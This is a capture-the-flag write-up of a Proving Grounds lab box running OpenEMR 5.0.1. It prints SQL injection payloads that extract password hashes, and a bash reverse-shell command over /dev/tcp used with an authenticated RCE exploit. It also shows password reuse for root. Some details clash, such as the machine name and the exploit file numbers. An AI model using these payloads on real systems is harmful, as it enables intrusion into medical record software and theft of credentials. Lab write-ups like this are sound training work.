Apex - Proving grounds Practice
Linux
This blog post is a writeup of the Helpdesk machine from Proving grounds practice.
Summary
- OpenEMR 5.0.1 it’s vulnerable to a sql injection that allows us to get a password hash.
- Cracking this hash we can obtain the password and gain access to the web app.
- OpenEMR it’s also vulnerable to RCE authenticated. Using the obtained password we are able to exploit it.
- Once inside the victim’s machine we are able to reuse the same password to obtain root access.
Detailed steps
Enumeration
I started enumerating the open ports with:
nmap -Pn -p- 192.168.164.145
Knowing which ports are open, I executed an agressive nmap with:
nmap -A 192.168.164.145 -p 80,445,3306 -o nmapa.txt
As we can see in the last picture, there is a web server, a mysql server and a smb server.
By accessing the website I was able to see a sanitary webpage. By clicking on Scheduler I could access to a login page.
This login page shows that we are in front of a OpenEMR
In order to find out the OpenEMR version, I found a common OpenEMR directory named ‘sql’ which was present in this server.
This directory stores sql files which are generated in the updates. Knowing this, we can deduce OpenEMR version (5.0.1 in this case).
Also this directory contains some more interesting files as database.sql. This file shows the structure of the OpenEMR database.
Explotation
This OpenEMR version is vulnerable to some sql injections we can find in the following report:
https://www.open-emr.org/wiki/images/1/11/Openemr_insecurity.pdf
This image shows the vulnerable files:
Trying to search for these files I was able to acces to “add_edit_event_user.php” so I worked with this file.
To make this job easier, I looked in the database.sql file mentioned above. I could find a table named ‘user_secure’ which contains usernames and passwords.
After some attemps, I found a valid query using “substring” which can extract half password hash:
Modifying this query I was able to get the other half (just replacing 1,32 by 32,60):
Querys:
eid=1 AND EXTRACTVALUE(0x3b,(SELECT Substring(password,1,32)FROM users_secure LIMIT 0,1)))
eid=1 AND EXTRACTVALUE(0x3b,(SELECT Substring(password,32,64)FROM users_secure LIMIT 0,1)))
Hash:
$2a$05$bJcIfCBjN5Fuh0K9qfoe0eRJqMdM49sWvuSGqv84VMMAkLgkK8XnC
I used this page to analyse the hash –> https://hashes.com/es/tools/hash_identifier
As we can see in the picture, we are in front of a bcrypt $2*$, Blowfish (Unix)
Knowing the type of hash I cracked it with hashcat:
Now, having this password I was able to log in successfully to the web portal as admin user:
OpenEMR 5.0.1 is also vulnerable to a remote code execution (authenticated). This means that at this point I could exploit it.
In order to gain access I downloaded a python exploit from: https://www.exploit-db.com/exploits/48515 Opening a netcat listener and executing this exploit with the following paramaters, I was able to catch the shell.
python2 45161.py http://192.168.164.145/openemr -u admin -p thedoctor -c "bash -c 'bash -i >& /dev/tcp/192.168.164.145/5555 0>&1'"
Being www-data user I was able to find the user flag:
Privilege escalation
In order to elevate privileges I have been looking for a way for a while until I realised that I could use the previously obtained password again.
Just typing su root and using “thedoctor” as password I was able to log in as root and find the root flag.
